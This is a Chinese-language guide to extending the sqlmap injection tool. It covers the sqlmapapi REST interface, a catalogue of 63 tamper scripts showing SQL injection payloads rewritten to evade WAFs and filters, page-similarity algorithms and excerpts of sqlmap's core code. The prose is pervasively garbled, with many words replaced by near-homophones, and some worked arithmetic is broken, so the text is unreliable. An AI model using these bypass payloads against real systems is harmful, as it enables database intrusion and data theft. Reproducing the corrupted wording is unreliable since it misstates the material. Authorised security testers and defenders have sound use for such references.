关于sql注入:sqlmap二次开发指南

10次阅读

共计 24554 个字符,预计需要花费 62 分钟才能阅读完成。

sqlmap 基于 python 编写,开源,源码 https://github.com/sqlmapproj…

一、sqlmap api

1、利用场景

因为 SQLMAP 每检测一个站点都须要开启一个新的命令行窗口或者完结掉上一个检测工作。尽管 -m 参数能够批量扫描 URL,然而模式也是一个完结扫描后才开始另一个扫描工作。通过 api 接口,下发扫描工作就简略了,无需开启一个新的命令行窗口。

2、应用

Options:
  -h, --help            show this help message and exit
  -s, --server          Run as a REST-JSON API server
  -c, --client          Run as a REST-JSON API client
  -H HOST, --host=HOST  Host of the REST-JSON API server (default "127.0.0.1")
  -p PORT, --port=PORT  Port of the the REST-JSON API server (default 8775)
  --adapter=ADAPTER     Server (bottle) adapter to use (default "wsgiref")
  --username=USERNAME   Basic authentication username (optional)
  --password=PASSWORD   Basic authentication password (optional)
  • 1、开启 sqlmapapi server
    python3 sqlmapapi.py -s
  • 2、开启 sqlmapapi client

    python3 sqlmapapi.py -c  #执行后进入 api 交互界面, 在交互界面执行相干工作
    
    api> help
    help           Show this help message
    new ARGS       Start a new scan task with provided arguments (e.g. 'new -u"http://testphp.vulnweb.com/artists.php?artist=1"')
    use TASKID     Switch current context to different task (e.g. 'use c04d8c5c7582efb4')
    data           Retrieve and show data for current task
    log            Retrieve and show log for current task
    status         Retrieve and show status for current task
    option OPTION  Retrieve and show option for current task
    options        Retrieve and show all options for current task
    stop           Stop current task
    kill           Kill current task
    list           Display all tasks
    version        Fetch server version
    flush          Flush tasks (delete all tasks)
    exit           Exit this client
    
  • 3、开启 sqlmapapi server 后同样能够通过接口方式进行工作的相干操作

工作治理性能

创立一个新工作
GET http://127.0.0.1:8775/task/new

删除工作
GET http://127.0.0.1:8775/task/<taskid>/delete

治理性能

获取工作列表
GET http://127.0.0.1:8775/admin/list
or
GET http://127.0.0.1:8775/admin/<token>/list

刷新工作后盾(删除所有工作)GET http://127.0.0.1:8775/admin/flush
or
GET http://127.0.0.1:8775/admin/<token>/flush

外围交互性能

列出特定工作 ID 的选项
GET http://127.0.0.1:8775/option/<taskid>/list

获取特定工作 ID 的选项值
POST http://127.0.0.1:8775/option/<taskid>/get
value:
    [option1, option2, ...]

设置特定工作 ID 的选项值
POST http://127.0.0.1:8775/option/<taskid>/set
value:
    {option1: value1, option2: value2, ...}

启动某个工作
POST http://127.0.0.1:8775/scan/<taskid>/start
value:
    {option1: value1, option2: value2, ...}

进行扫描
GET http://127.0.0.1:8775/scan/<taskid>/stop

杀死扫描
GET http://127.0.0.1:8775/scan/<taskid>/kill

获取扫描状态
GET http://127.0.0.1:8775/scan/<taskid>/status

获取扫描数据
GET http://127.0.0.1:8775/scan/<taskid>/data

获取特定的日志信息
GET http://127.0.0.1:8775/scan/<taskid>/log/<start>/<end>

获取日志信息
GET http://127.0.0.1:8775/scan/<taskid>/log

从文件系统下载某个文件
GET http://127.0.0.1:8775/download/<taskid>/<target>/<filename:path>

获取服务器版本
GET http://127.0.0.1:8775/version



二、sqlmap tamper

1、0eunion
作用:将 UNION 替换为 e0UNION
成果:1 UNION ALL SELECT
   1e0UNION ALL SELECT
数据库:MySQL
              MsSQL
2、charunicodeescape
作用:字符串 unicode 编码
成果:将未编码的字符进行 unicode 编码
SELECT FIELD FROM TABLE
\\\\u0053\\\\u0045\\\\u004C\\\\u0045\\\\u0043\\\\u0054\\\\u0020\\\\u0046\\\\u0049\\\\u0045\\\\u004C\\\\u0044\\\\u0020\\\\u0046\\\\u0052\\\\u004F\\\\u004D\\\\u0020\\\\u0054\\\\u0041\\\\u0042\\\\u004C\\\\u0045
数据库:ASP
  ASP.NET
3、hex2char
作用:替换 0x 打头的字符串为 CONCAT(CHAR(),...) 模式
成果:SELECT 0xdeadbeef
    SELECT CONCAT(CHAR(222),CHAR(173),CHAR(190),CHAR(239))
数据库:MySQL 4, 5.0 and 5.5
4、modsecurityzeroversioned
作用:应用内联正文形式(/*!00000*/)进行注入
成果:1 AND 2>1--
   1 /*!00000AND 2>1*/--
数据库:MySQL 5.0
5、space2dash      
作用:将空格字符(“”)替换为短划线正文(“--”),后跟随机字符串和新行(“\\n”)成果:'1 AND 9227=9227'
'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
数据库:MSSQL
  SQLite
6、substring2leftright
作用:将 SUBSTRING 替换为 LEFT 或 RIGHT
成果:SUBSTRING((SELECT usename FROM pg_user)::text FROM 1 FOR 1)
   LEFT((SELECT usename FROM pg_user)::text,1)
数据库:PostgreSQL 9.6.12  
7、apostrophemask
作用:用 utf8 代替引号
成果:1 AND '1'='1
    1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
数据库:无
8、commalesslimit   
作用:替换 limt m,n 为 limit n offset m
   LIMIT 3 OFFSET 2
数据库:MySQL 5.0 and 5.5
9、htmlencode      
作用:对所有非数字字母的字符进行 HTML 编码
成果:1' AND SLEEP(5)#
    1&#39;&#32;AND&#32;SLEEP&#40;5&#41;&#35;
数据库:ALL            
10、multiplespaces         
作用:围绕 sql 关键字增加多个空格
成果:1 UNION SELECT foobar
   1      UNION     SELECT      foobar
数据库:ALL
11、space2hash     
作用:将‘’替换为随机字符串和‘\n'
成果:1 AND 9227=9227
    1%23upgPydUzKpMX%0AAND%23RcDKhIr%0A9227=9227
数据库:MySQL 4.0, 5.0
12、symboliclogical
作用:将 AND 或 OR 替换为 && 或 ||
成果:1 AND '1'='1
    1 %26%26 '1'='1
数据库:ALL  
13、apostrophenullencode  
作用:用非法双字节 Unicode 字符替换单引号
成果:1 AND '1'='1
    1 AND %00%271%00%27=%00%271
数据库:ALL
14、commalessmid           
作用:替换 MID(A,B,C)为 MID(A FROM B FOR C)
成果:MID(VERSION(), 1, 1)
   MID(VERSION() FROM 1 FOR 1)
数据库:MySQL 5.0 and 5.5  
15、ifnull2casewhenisnull   
作用:将 'IFNULL(A, B)' 替换为 'CASE WHEN ISNULL(A) THEN (B) ELSE (A) END'
成果:IFNULL(1, 2)
CASE WHEN ISNULL(1) THEN (2) ELSE (1) END
数据库:* MySQL
         * SQLite (possibly)
         * SAP MaxDB (possibly)

16、overlongutf8more 
作用:将所有未编码字符编码为超长 UTF8
成果:SELECT FIELD FROM TABLE WHERE 2>1
%C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94%C0%A0%C1%86%C1%89%C1%85%C1%8C%C1%84%C0%A0%C1%86%C1%92%C1%8F%C1%8D%C0%A0%C1%94%C1%81%C1%82%C1%8C%C1%85%C0%A0%C1%97%C1%88%C1%85%C1%92%C1%85%C0%A0%C0%B2%C0%BE%C0%B1
数据库:ALL     
17、space2morecomment  
作用:将 ('')替换为'/**_**/'
成果:SELECT id FROM users
   SELECT/**_**/id/**_**/FROM/**_**/users
数据库:MySQL 5.0 and 5.5  
18、unionalltounion
作用:将 union all select 替换为 union select
成果:-1 UNION ALL SELECT
   -1 UNION SELECT
数据库:ALL
19、appendnullbyte       
作用:在有效载荷的完结地位加载 null 字节字符编码
成果:1 AND 1=1
    1 AND 1=1%00
数据库:ALL 
20、commentbeforeparentheses   
作用:在括号前加上 (内联) 正文
成果:SELECT ABS(1)
    SELECT ABS/**/(1)
数据库:* Microsoft SQL Server
               * MySQL
               * Oracle
               * PostgreSQL
21、ifnull2ifisnull      
作用:将相似于 IFNULL(A, B)替换为 IF(ISNULL(A), B, A),绕过对 IFNULL 的过滤
成果:IFNULL(1, 2)
   IF(ISNULL(1),2,1)

数据库:MySQL 5.0 and 5.5、SQLite (possibly)、SAP MaxDB (possibly)
22、overlongutf8  
作用:将所有非字母未编码的字符转化为超长 UTF8
成果:SELECT FIELD FROM TABLE WHERE 2>1
SELECT%C0%A0FIELD%C0%A0FROM%C0%A0TABLE%C0%A0WHERE%C0%A02%C0%BE1
数据库:ALL
23、space2morehash     
作用:将空格替换为 #,并增加一个随机字符串和换行符
成果:1 AND 9227=9227
   1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227
数据库:MySQL >= 5.1.13  
24、unmagicquotes
作用:用一个多字节组合 %bf%27 和开端通用正文一起替换空格
成果:1' AND 1=1
          1%bf%27 AND 1=1--
数据库:ALL  
25、base64encode 
作用:整体替换为 base64 编码
成果:1' AND SLEEP(5)#
MScgQU5EIFNMRUVQKDUpIw==
数据库:ALL
26、concat2concatws      
作用:替换 CONCAT(A, B)'为'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)
成果:CONCAT(1,2)
   CONCAT_WS(MID(CHAR(0),0,0),1,2)
数据库:MySQL 5.0   
27、informationschemacomment 
作用:在 information_schema 后加上内联正文 /**/
成果:SELECT table_name FROM INFORMATION_SCHEMA.TABLES
   SELECT table_name FROM INFORMATION_SCHEMA/**/.TABLES
数据库:ALL
28、percentage
作用:在每个字符前增加一个 %
成果:SELECT FIELD FROM TABLE
%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
数据库:Microsoft SQL Server 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0      
实用:ASP web 服务            
29、space2mssqlblank
作用:将空格随机替换为其余空格符号('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
成果:SELECT id FROM users
          SELECT%0Eid%0DFROM%07users
数据库:Microsoft SQL Server 2000、Microsoft SQL Server 2005
30、uppercase
作用:将小写替换为大写
成果:insert
   INSERT 
数据库: * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0  
31、between     
作用:用 NOT BETWEEN 0 AND #替换 >
成果:1 AND A > B--
    1 AND A NOT BETWEEN 0 AND B--
数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0       
32、dunion     
作用:将 UNION 替换为 DUNION
成果:1 UNION ALL SELECT
   1DUNION ALL SELECT
数据库:Oracle              
33、plus2concat     
作用:将 ('+') 替换为 CONCAT() 
成果:SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL
   SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL
数据库:Microsoft SQL Server 2012+            
34、space2mssqlhash    
作用:将 ('')替换为 #后跟”\n"
成果:1 AND 9227=9227
    1%23%0AAND%23%0A9227=9227
数据库:* MSSQL
               * MySQL  
35、varnish
作用:附加 HTTP 报头 'x - origin- ip' 以绕过 Varnish Firewall
成果:X-originating-IP: TARGET_LOCAL_IP (127.0.0.1)
数据库:ALL
36、binary     
作用:将关键字 binary 注入能够注入的中央
成果:1 AND 2>1
   1 AND binary 2>binary 1
数据库:MySQL          
37、equaltolike         
作用:like 代替等号
成果:SELECT * FROM users WHERE id=1
SELECT * FROM users WHERE id LIKE 1   
数据库:Microsoft SQL Server 2005
  MySQL 4, 5.0 and 5.5
38、least   
作用:将 ('>') 替换为 'LEAST' 
成果:1 AND A > B
    1 AND LEAST(A,B+1)=B+1
数据库:* MySQL 4, 5.0 and 5.5
          * Oracle 10g
          * PostgreSQL 8.3, 8.4, 9.0                    
39、plus2fnconcat 
作用:将('+') 替换为 {fn CONCAT()}
成果:SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL
   SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL
数据库:Microsoft SQL Server 2008+             
40、space2mysqlblank
作用:将空格替换为其余空格符号('%09', '%0A', '%0C', '%0D', '%0B')
成果:SELECT id FROM users
    SELECT%0Bid%0DFROM%0Cusers
数据库:MySQL 5.1 
41、versionedkeywords
作用:正文绕过
成果:1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
数据库:MySQL 4.0.18, 5.1.56, 5.5.11  
42、bluecoat  
作用:在 sql 语句之后用无效的随机空白字符替换空格符,随后用 LIKE 替换 =
成果:SELECT id FROM users where id = 1
    SELECT%09id FROM users where id LIKE 1
数据库:Blue Coat SGOS  ,MySQL 5.1           
43、equaltorlike
作用:将“=”号替换为“RLIKE”成果:SELECT * FROM users WHERE id=1
   SELECT * FROM users WHERE id RLIKE 1
数据库:MySQL 4, 5.0 and 5.5                 
44、lowercase     
作用:将英文全副替换为小写
成果:INSERT
   insert
数据库: * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0              
45、randomcase 
作用:随机大小写
成果:INSERT
          INseRt
数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0                 
46、space2mysqldash
作用:将空格替换为 --,并追寻一个换行符
成果:1 AND 9227=9227
   1--%0AAND--%0A9227=9227
数据库:MySQL、MSSQL      
47、versionedmorekeywords
作用:将每个关键字用 (MySQL) 版本正文括起来
成果:1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
数据库:MySQL >= 5.1.13  
48、chardoubleencode     
作用:对给定的 payload 全副字符应用双重 url 编码(不解决曾经编码的字符)成果:SELECT FIELD FROM%20TABLE
                %2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545
数据库:ALL   
49、escapequotes    
作用:用 '\' 本义单引号或双引号
成果:1" AND SLEEP(5)#
    1\\\\" AND SLEEP(5)#
数据库:ALL            
50、luanginx 
作用:给 payload 加上大于 100 个参数 
成果:1 AND 2>1   
34=&Xe=&90=&Ni=&rW=&lc=&te=&T4=&zO=&NY=&B4=&hM=&X2=&pU=&D8=&hm=&p0=&7y=&18=&RK=&Xi=&5M=&vM=&hO=&bg=&5c=&b8=&dE=&7I=&5I=&90=&R2=&BK=&bY=&p4=&lu=&po=&Vq=&bY=&3c=&ps=&Xu=&lK=&3Q=&7s=&pq=&1E=&rM=&FG=&vG=&Xy=&tQ=&lm=&rO=&pO=&rO=&1M=&vy=&La=&xW=&f8=&du=&94=&vE=&9q=&bE=&lQ=&JS=&NQ=&fE=&RO=&FI=&zm=&5A=&lE=&DK=&x8=&RQ=&Xw=&LY=&5S=&zi=&Js=&la=&3I=&r8=&re=&Xe=&5A=&3w=&vs=&zQ=&1Q=&HW=&Bw=&Xk=&LU=&Lk=&1E=&Nw=&pm=&ns=&zO=&xq=&7k=&v4=&F6=&Pi=&vo=&zY=&vk=&3w=&tU=&nW=&TG=&NM=&9U=&p4=&9A=&T8=&Xu=&xa=&Jk=&nq=&La=&lo=&zW=&xS=&v0=&Z4=&vi=&Pu=&jK=&DE=&72=&fU=&DW=&1g=&RU=&Hi=&li=&R8=&dC=&nI=&9A=&tq=&1w=&7u=&rg=&pa=&7c=&zk=&rO=&xy=&ZA=&1K=&ha=&tE=&RC=&3m=&r2=&Vc=&B6=&9A=&Pk=&Pi=&zy=&lI=&pu=&re=&vS=&zk=&RE=&xS=&Fs=&x8=&Fe=&rk=&Fi=&Tm=&fA=&Zu=&DS=&No=&lm=&lu=&li=&jC=&Do=&Tw=&xo=&zQ=&nO=&ng=&nC=&PS=&fU=&Lc=&Za=&Ta=&1y=&lw=&pA=&ZW=&nw=&pM=&pa=&Rk=&lE=&5c=&T4=&Vs=&7W=&Jm=&xG=&nC=&Js=&xM=&Rg=&zC=&Dq=&VA=&Vy=&9o=&7o=&Fk=&Ta=&Fq=&9y=&vq=&rW=&X4=&1W=&hI=&nA=&hs=&He=&No=&vy=&9C=&ZU=&t6=&1U=&1Q=&Do=&bk=&7G=&nA=&VE=&F0=&BO=&l2=&BO=&7o=&zq=&B4=&fA=&lI=&Xy=&Ji=&lk=&7M=&JG=&Be=&ts=&36=&tW=&fG=&T4=&vM=&hG=&tO=&VO=&9m=&Rm=&LA=&5K=&FY=&HW=&7Q=&t0=&3I=&Du=&Xc=&BS=&N0=&x4=&fq=&jI=&Ze=&TQ=&5i=&T2=&FQ=&VI=&Te=&Hq=&fw=&LI=&Xq=&LC=&B0=&h6=&TY=&HG=&Hw=&dK=&ru=&3k=&JQ=&5g=&9s=&HQ=&vY=&1S=&ta=&bq=&1u=&9i=&DM=&DA=&TG=&vQ=&Nu=&RK=&da=&56=&nm=&vE=&Fg=&jY=&t0=&DG=&9o=&PE=&da=&D4=&VE=&po=&nm=&lW=&X0=&BY=&NK=&pY=&5Q=&jw=&r0=&FM=&lU=&da=&ls=&Lg=&D8=&B8=&FW=&3M=&zy=&ho=&Dc=&HW=&7E=&bM=&Re=&jk=&Xe=&JC=&vs=&Ny=&D4=&fA=&DM=&1o=&9w=&3C=&Rw=&Vc=&Ro=&PK=&rw=&Re=&54=&xK=&VK=&1O=&1U=&vg=&Ls=&xq=&NA=&zU=&di=&BS=&pK=&bW=&Vq=&BC=&l6=&34=&PE=&JG=&TA=&NU=&hi=&T0=&Rs=&fw=&FQ=&NQ=&Dq=&Dm=&1w=&PC=&j2=&r6=&re=&t2=&Ry=&h2=&9m=&nw=&X4=&vI=&rY=&1K=&7m=&7g=&J8=&Pm=&RO=&7A=&fO=&1w=&1g=&7U=&7Y=&hQ=&FC=&vu=&Lw=&5I=&t0=&Na=&vk=&Te=&5S=&ZM=&Xs=&Vg=&tE=&J2=&Ts=&Dm=&Ry=&FC=&7i=&h8=&3y=&zk=&5G=&NC=&Pq=&ds=&zK=&d8=&zU=&1a=&d8=&Js=&nk=&TQ=&tC=&n8=&Hc=&Ru=&H0=&Bo=&XE=&Jm=&xK=&r2=&Fu=&FO=&NO=&7g=&PC=&Bq=&3O=&FQ=&1o=&5G=&zS=&Ps=&j0=&b0=&RM=&DQ=&RQ=&zY=&nk=&1 AND 2>1
数据库:ALL
实用:绕过 lua-nginx waf,如 cloudflare                   
51、randomcomments        
作用:用正文符宰割 sql 关键字
成果:INSERT
          I/**/N/**/SERT 
数据库:ALL      
52、space2plus
作用:用加号替换空格
成果:SELECT id FROM users
   SELECT+id+FROM+users
数据库:ALL           
53、xforwardedfor
作用:增加一个假的 HTTP 报头 'X-Forwarded-For' 及其他相似的
成果:headers["X-Forwarded-For"] = randomIP()
数据库:ALL
54、charencode       
作用:对给定的 payload 全副字符应用 url 编码(不解决曾经编码的字符)成果:SELECT FIELD FROM%20TABLE
%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45
数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0       
55、greatest    
作用:绕过过滤’>’, 用 GREATEST 替换大于号。成果:1 AND A > B'
    1 AND GREATEST(A,B+1)=A
数据库:MySQL 4, 5.0 and 5.5
       Oracle 10g
   PostgreSQL 8.3, 8.4, 9.0       
56、misunion          
作用:将 UNION 替换为 -.1UNION
成果:1 UNION ALL SELECT
   1-.1UNION ALL SELECT
数据库:MySQL          
57、schemasplit   
作用:用空格拆分标识模式符,如替换 testdb.users 为 testdb 9.e.users
成果:SELECT id FROM testdb.users
   SELECT id FROM testdb 9.e.users
数据库:MySQL              
58、space2randomblank
作用:将空格替换为其余无效字符
成果:SELECT id FROM users
   SELECT%0Did%0DFROM%0Ausers 
数据库:ALL
59、charunicodeencode     
作用:对字符串的 unicode 编码
成果:SELECT FIELD%20FROM TABLE
%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045
数据库:Microsoft SQL Server 2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3
实用:ASP、ASP.NET web 服务
60、halfversionedmorekeywords
作用:在每个关键字前增加 mysql 版本正文
成果:value'UNION ALL SELECT             CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND'QDWa'='QDWa      
        value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND'QDWa'='QDWa
数据库:MySQL < 5.1    
61、modsecurityversioned  
作用:过滤空格,应用 mysql 内联正文的形式进行注入
成果:1 AND 2>1--
   1 /*!30874AND 2>1*/--
数据库:MySQL 5.0 
62、space2comment    
作用:将空格替换为 /**/
成果:SELECT id FROM users
          SELECT/**/id/**/FROM/**/users
数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0        
63、sp_password
作用:将 (MsSQL) 函数 'sp_password' 附加到无效负载的开端,以便从 DBMS 日志中主动混同 
成果:1 AND 9227=9227-- 
          1 AND 9227=9227-- sp_password
数据库:MSSQL

三、外围算法

1、类似度比照算法

比拟闻名的页面类似度算法,有 tf-idf 算法,余弦类似度计算,simhash 等等,各有优劣,能够依据不同的利用场景进行选取。

1.1、tf-idf 算法

TF-IDF(term frequency–inverse document frequency)是一种用于信息检索与数据挖掘的罕用加权技术,罕用于开掘文章中的关键词,而且算法简略高效,常被工业用于最开始的文本数据荡涤。
TF-IDF 有两层意思,一层是 ” 词频 ”(Term Frequency,缩写为 TF),另一层是 ” 逆文档频率 ”(Inverse Document Frequency,缩写为 IDF)。
假如咱们当初有一片长文叫做《量化零碎架构设计》词频高在文章中往往是停用词,“的”,“是”,“了”等,这些在文档中最常见但对后果毫无帮忙、须要过滤掉的词,用 TF 能够统计到这些停用词并把它们过滤。当高频词过滤后就只需思考剩下的有实际意义的词。
但这样又会遇到了另一个问题,咱们可能发现 ” 量化 ”、” 零碎 ”、” 架构 ” 这三个词的呈现次数一样多。这是不是意味着,作为关键词,它们的重要性是一样的?事实上零碎应该在其余文章比拟常见,所以在关键词排序上,“量化”和“架构”应该排在“零碎”后面,这个时候就须要 IDF,IDF 会给常见的词较小的权重,它的大小与一个词的常见水平成反比。
当有 TF(词频)和 IDF(逆文档频率)后,将这两个词相乘,就能失去一个词的 TF-IDF 的值。某个词在文章中的 TF-IDF 越大,那么一般而言这个词在这篇文章的重要性会越高,所以通过计算文章中各个词的 TF-IDF,由大到小排序,排在最后面的几个词,就是该文章的关键词。


TF-IDF 的长处是简略疾速,而且容易了解。毛病是有时候用词频来掂量文章中的一个词的重要性不够全面,有时候重要的词呈现的可能不够多,而且这种计算无奈体现地位信息,无奈体现词在上下文的重要性。如果要体现词的上下文构造,那么你可能须要应用 word2vec 算法来反对。

1.2、余弦类似度算法

在数学几何运算中,余弦定理用于计算两条边的夹角,余弦值越大,夹角越小。当夹角为 0° 时,两条边 (x,y) 齐全重合。计算公式如下:

而对于多维图像 (x,y,z…) 三 (甚至 n) 条边,计算公式如下:

同样对于计算两段文本,计算两段文本的类似度。将文本切割成若干个词向量,切词则交由 NLP 进行。而将每一个词向量看成数学几何运行中的边,最初则演变成计算多维余弦夹角。

  • 文本切词

    • 文本 1:今天 \ 不 \ 下雨
    • 文本 2:今天 \ 不 \ 可能 \ 下雨
  • 文本词频统计

    • 文本 1 词频:(今天 =>1, 不 =>1, 下雨 =>1, 可能 =>0)
    • 文本 2 词频:(今天 =>1, 不 =>1, 下雨 =>1, 可能 =>1)
  • 文本词向量

    • 文本 1 词向量:(1,1,1,0)
    • 文本 2 词向量:(1,1,1,1)

1.3、simhash 算法

  • 其次要思维是降维,将高维的特征向量映射成低维的特征向量,通过两个向量的 Hamming Distance 来确定文章是否反复或者高度近似。
  • 其中,Hamming Distance,又称汉明间隔,在信息论中,两个等长字符串之间的汉明间隔是两个字符串对应地位的不同字符的个数。也就是说,它就是将一个字符串变换成另外一个字符串所须要替换的字符个数。例如:1011101 与 1001001 之间的汉明间隔是 2。至于咱们常说的字符串编辑间隔则是个别模式的汉明间隔。
  • simhash 算法分为 5 个步骤:分词、hash、加权、合并、降维,具体过程如下所述:

    • 分词

      • 给定一段语句,进行分词,失去无效的特征向量,而后为每一个特征向量设置 1 - 5 等 5 个级别的权重(如果是给定一个文本,那么特征向量能够是文本中的词,其权重能够是这个词呈现的次数)。例如给定一段语句:“CSDN 博客构造之法算法之道的作者 July”,分词后为:“CSDN 博客 构造 之 法 算法 之 道 的 作者 July”,而后为每个特征向量赋予权值:CSDN(4) 博客(5) 构造(3) 之(1) 法(2) 算法(3) 之(1) 道(2) 的(1) 作者(5) July(5),其中括号里的数字代表这个单词在整条语句中的重要水平,数字越大代表越重要。
    • hash

      • 通过 hash 函数计算各个特征向量的 hash 值,hash 值为二进制数 01 组成的 n -bit 签名。比方“CSDN”的 hash 值 Hash(CSDN)为 100101,“博客”的 hash 值 Hash(博客)为“101011”。就这样,字符串就变成了一系列数字。
    • 加权

      • 在 hash 值的根底上,给所有特征向量进行加权,即 W = Hash * weight,且遇到 1 则 hash 值和权值正相乘,遇到 0 则 hash 值和权值负相乘。例如给“CSDN”的 hash 值“100101”加权失去:W(CSDN) = 100101 4 = 4 -4 -4 4 -4 4,给“博客”的 hash 值“101011”加权失去:W(博客)=101011 5 = 5 -5 5 -5 5 5,其余特征向量相似此般操作。
    • 合并

      • 将上述各个特征向量的加权后果累加,变成只有一个序列串。拿前两个特征向量举例,例如“CSDN”的“4 -4 -4 4 -4 4”和“博客”的“5 -5 5 -5 5 5”进行累加,失去“4+5 -4+-5 -4+5 4+-5 -4+5 4+5”,失去“9 -9 1 -1 1”。
    • 降维

      • 对于 n -bit 签名的累加后果,如果大于 0 则置 1,否则置 0,从而失去该语句的 simhash 值,最初咱们便能够依据不同语句 simhash 的海明间隔来判断它们的类似度。例如把下面计算出来的“9 -9 1 -1 1 9”降维(某位大于 0 记为 1,小于 0 记为 0),失去的 01 串为:“1 0 1 0 1 1”,从而造成它们的 simhash 签名。
  • 优缺点:齐全无关的文本正好对应成了雷同的 simhash,精确度并不是很高,而且 simhash 更实用于较长的文本,然而在大规模语料进行去重时,simhash 的计算速度劣势还是很不错的。

1.4、sqlmap 类似度算法

在 sqlmap 中应用 difflib 这个模块来进行页面类似度的比照,理论解决的时候,sqlmap 并不仅仅是间接计算页面的类似度,而是通过首先对页面进行一些预处理,预处理之后,依据预设的阈值来计算申请页面和模版页面的类似度。比如说,咱们设定一个阈值 0.8,如果输出 payload 之后网页与失常网页的类似度计算后大于 0.8,即强相干,咱们则认定没有遇到 waf。
在 difflib 模块中存在 ratio()办法,该办法返回两段文本的类似度,类似度的算法如下:咱们假如两段文本别离为 text1 与 text2,他们雷同的局部长度总共为 M,这两段文本长度之和为 T,那么这两段文本的类似度定义为 2.0 * M / T,这个类似度的值在 0 到 1.0 之间。
一般来说针对某一类型破绽,其页面类似度的阈值是须要对不同页面大量测试之后取绝对稳固的值,sqlmap 的编写人员依据他们的算法和测试取值为 0.02-0.98

四、开发指南

1、sqlmap 流程

  • 类似度比照流程

2、外围代码

2.1、全局常量 / 变量

数据定义局部在 lib/core/data.py 下,重点看 conf 和 kb 对象。

# conf 对象共享类和函数中的构造,用于存储一些通用配置项
conf = AttribDict()

# kb 对象共享类和函数中的构造,用于存储过程中的全局变量
kb = AttribDict()

#AttribDict 类定义
class AttribDict(dict):
    """
    This class defines the dictionary with added capability to access members as attributes

    >>> foo = AttribDict()
    >>> foo.bar = 1
    >>> foo.bar
    1
    """

    def __init__(self, indict=None, attribute=None):
        if indict is None:
            indict = {}

        # Set any attributes here - before initialisation
        # these remain as normal attributes
        self.attribute = attribute
        dict.__init__(self, indict)
        self.__initialised = True

        # After initialisation, setting attributes
        # is the same as setting an item

    def __getattr__(self, item):
        """
        Maps values to attributes
        Only called if there *is NOT* an attribute with this name
        """

        try:
            return self.__getitem__(item)
        except KeyError:
            raise AttributeError("unable to access item'%s'" % item)

    def __setattr__(self, item, value):
        """
        Maps attributes to values
        Only if we are initialised
        """

        # This test allows attributes to be set in the __init__ method
        if "_AttribDict__initialised" not in self.__dict__:
            return dict.__setattr__(self, item, value)

        # Any normal attributes are handled normally
        elif item in self.__dict__:
            dict.__setattr__(self, item, value)

        else:
            self.__setitem__(item, value)

    def __getstate__(self):
        return self.__dict__

    def __setstate__(self, dict):
        self.__dict__ = dict

    def __deepcopy__(self, memo):
        retVal = self.__class__()
        memo[id(self)] = retVal

        for attr in dir(self):
            if not attr.startswith('_'):
                value = getattr(self, attr)
                if not isinstance(value, (types.BuiltinFunctionType, types.FunctionType, types.MethodType)):
                    setattr(retVal, attr, copy.deepcopy(value, memo))

        for key, value in self.items():
            retVal.__setitem__(key, copy.deepcopy(value, memo))

        return retVal
  • conf 和 kb 大部分的定义能够在 lib/core/option.py 查看,其余的也能够在 lib/parse/cmdline.py 中查找到定义

    def initOptions(inputOptions=AttribDict(), overrideOptions=False):
      _setConfAttributes()
      _setKnowledgeBaseAttributes()
      _mergeOptions(inputOptions, overrideOptions)
      
    def _setConfAttributes():
      """This function set some needed attributes into the configuration singleton."""
    
      debugMsg = "initializing the configuration"
      logger.debug(debugMsg)
    
      conf.authUsername = None
      conf.authPassword = None
